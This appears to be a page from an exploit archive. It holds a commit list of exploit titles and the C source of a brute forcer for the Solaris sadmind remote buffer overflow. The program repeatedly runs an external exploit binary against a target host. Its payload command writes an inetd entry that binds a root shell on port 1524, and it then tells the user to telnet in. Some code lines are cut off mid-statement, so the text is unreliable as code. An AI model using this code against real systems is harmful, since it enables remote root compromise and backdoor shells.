880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
254 lines
No EOL
8.8 KiB
C
254 lines
No EOL
8.8 KiB
C
// source: https://www.securityfocus.com/bid/866/info
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Certain versions of Solaris ship with a version of sadmind which is vulnerable to a remotely exploitable buffer overflow attack. sadmind is the daemon used by Solstice AdminSuite applications to perform distributed system administration operations such as adding users. The sadmind daemon is started automatically by the inetd daemon whenever a request to invoke an operation is received.
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Under vulnerable versions of sadmind (2.6 and 7.0 have been tested), if a long buffer is passed to a NETMGT_PROC_SERVICE request (called via clnt_call()), it is possible to overwrite the stack pointer and execute arbitrary code. The actual buffer in questions appears to hold the client's domain name. The overflow in sadmind takes place in the get_auth() function, part of the /usr/snadm/lib/libmagt.so.2 library. Because sadmind runs as root any code launched as a result will run as with root privileges, therefore resulting in a root compromise.
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// *** Synnergy Networks
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#include <stdio.h>
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#include <stdlib.h>
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#include <signal.h>
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#include <string.h>
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#include <sys/errno.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#include <unistd.h>
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/* *** ATTENTION *** you may have to change some
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of these *** ATTENTION *** */
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#define EXPX86 "sadmindex-x86" /*
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sadmind exploit for x86 arch */
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#define EXPSPARC "sadmindex-sparc" /*
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sadmind exploit for sparc arch */
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#define INC 4 /* sp brute forcing
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incrementation - 4 should be ok
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/* DON'T change the following */
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#define FALSE 0 /* false */
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#define TRUE !FALSE /* true */
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#define BINDINGRES "echo 'ingreslock stream
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tcp nowait root /bin/sh sh -i'
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> /tmp/.x;
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/usr/sbin/inetd -s /tmp/.x;
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m -f
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/tmp/.x;" /* bind rootshell */
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#define SPX8626 0x080418ec /* default
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sadmindex sp for x86 2.6 */
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#define SPX867 0x08041798 /* default
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sadmindex sp for x86 7.0 */
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#define SPSPARC26 0xefff9580 /* default
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sadmindex sp for sparc 2.6 */
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#define SPSPARC7 0xefff9418 /* default
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sadmindex sp for sparc 7.0 */
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#define EXPCMDX8626 "./%s -h %s -c \"%s\" -s
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0x%x -j 512\n" /* cmd line */
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#define EXPCMDX867 "./%s -h %s -c \"%s\" -s
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0x%x -j 536\n" /* cmd line */
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#define EXPCMDSPARC "./%s -h %s -c \"%s\" -s
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0x%x\n" /* cmd line */
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int
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main(int argc, char **argv)
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{
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int i, sockfd, fd, size = 4096, sign = -1;
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long int addr;
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char *buffer = (char *) malloc (size);
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struct hostent *he;
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struct sockaddr_in their_addr;
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if (argc < 3)
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{
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fprintf(stderr, "\nsadmindex sp
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brute forcer - by elux\n");
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fprintf(stderr, "usage: %s [arch]
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<host>\n\n", argv[0]);
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fprintf(stderr, "\tarch:\n");
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fprintf(stderr, "\t1 - x86 Solaris
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2.6\n");
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fprintf(stderr, "\t2 - x86 Solaris
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7.0\n");
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fprintf(stderr, "\t3 - SPARC
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Solaris 2.6\n");
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fprintf(stderr, "\t4 - SPARC
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Solaris 7.0\n\n");
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exit(TRUE);
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}
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if ( (he = gethostbyname(argv[2])) ==
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NULL)
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{
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printf("Unable to resolve %s\n",
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argv[2]);
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exit(TRUE);
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}
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their_addr.sin_family = AF_INET;
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their_addr.sin_port = htons(1524);
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their_addr.sin_addr = *((struct in_addr
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*)he->h_addr);
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bzero(&(their_addr.sin_zero), 8);
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if ( (strcmp(argv[1], "1")) == 0)
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{
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addr = SPX8626;
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printf("\nAlright... sit back and
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relax while this program brut
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for (i = 0; i <= 4096; i += INC)
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{
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if ( (sockfd =
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socket(AF_INET, SOCK_STREAM, 0)) != -1)
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{
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if (
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(connect(sockfd, (struct sockaddr *)&their
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{
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fprintf(stderr, "\n\nNow telnet to %s,
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close(sockfd);
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exit(FALSE);
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}
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}
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if ( (fd = open(EXPX86,
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O_RDONLY)) != -1)
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{
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sign *= -1;
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addr -= i *sign;
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snprintf(buffer,
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size, EXPCMDX8626, EXPX86, arg
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system(buffer);
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}
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else
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{
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printf("\n\n%s
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doesn't exisit, you need the sad
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exit(TRUE);
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}
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}
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}
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else if ( (strcmp(argv[1], "2")) == 0)
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{
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addr = SPX867;
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printf("\nAlright... sit back and
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relax while this program brut
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for (i = 0; i <= 4096; i += INC)
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{
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if ( (sockfd =
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socket(AF_INET, SOCK_STREAM, 0)) != -1)
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{
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if (
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(connect(sockfd, (struct sockaddr *)&their
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{
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fprintf(stderr, "\n\nNow telnet to %s,
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close(sockfd);
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exit(FALSE);
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}
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}
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if ( (fd = open(EXPX86,
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O_RDONLY)) != -1)
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{
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sign *= -1;
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addr -= i *sign;
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snprintf(buffer,
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size, EXPCMDX867, EXPX86, argv
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system(buffer);
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}
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else
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{
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printf("\n\n%s
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doesn't exisit, you need the sad
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exit(TRUE);
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}
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}
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}
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else if ( (strcmp(argv[1], "3")) == 0)
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{
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addr = SPSPARC26;
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printf("\nAlright... sit back and
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relax while this program brut
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for (i = 0; i <= 4096; i += INC)
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{
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if ( (sockfd =
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socket(AF_INET, SOCK_STREAM, 0)) != -1)
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{
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if (
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(connect(sockfd, (struct sockaddr *)&their
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{
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fprintf(stderr, "\n\nNow telnet to %s,
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close(sockfd);
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exit(FALSE);
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}
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}
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if ( (fd = open(EXPSPARC,
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O_RDONLY)) != -1)
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{
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sign *= -1;
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addr -= i *sign;
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snprintf(buffer,
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size, EXPCMDSPARC, EXPSPARC, a
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system(buffer);
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}
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else
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{
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printf("\n\n%s
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doesn't exisit, you need the sad
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exit(TRUE);
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}
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}
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}
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else if ( (strcmp(argv[1], "4")) == 0)
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{
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addr = SPSPARC7;
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printf("\nAlright... sit back and
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relax while this program brut
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for (i = 0; i <= 4096; i += INC)
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{
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if ( (sockfd =
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socket(AF_INET, SOCK_STREAM, 0)) != -1)
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{
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if (
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(connect(sockfd, (struct sockaddr *)&their
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{
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fprintf(stderr, "\n\nNow telnet to %s,
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close(sockfd);
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exit(FALSE);
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}
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}
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if ( (fd = open(EXPSPARC,
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O_RDONLY)) != -1)
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{
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sign *= -1;
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addr -= i *sign;
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snprintf(buffer,
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size, EXPCMDSPARC, EXPSPARC, a
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system(buffer);
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}
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else
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{
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printf("\n\n%s
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doesn't exisit, you need the sad
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exit(TRUE);
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}
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}
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}
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else
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printf("%s is not a supported
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arch, try 1 - 4 ... .. .\n", argv
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}
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// EOF
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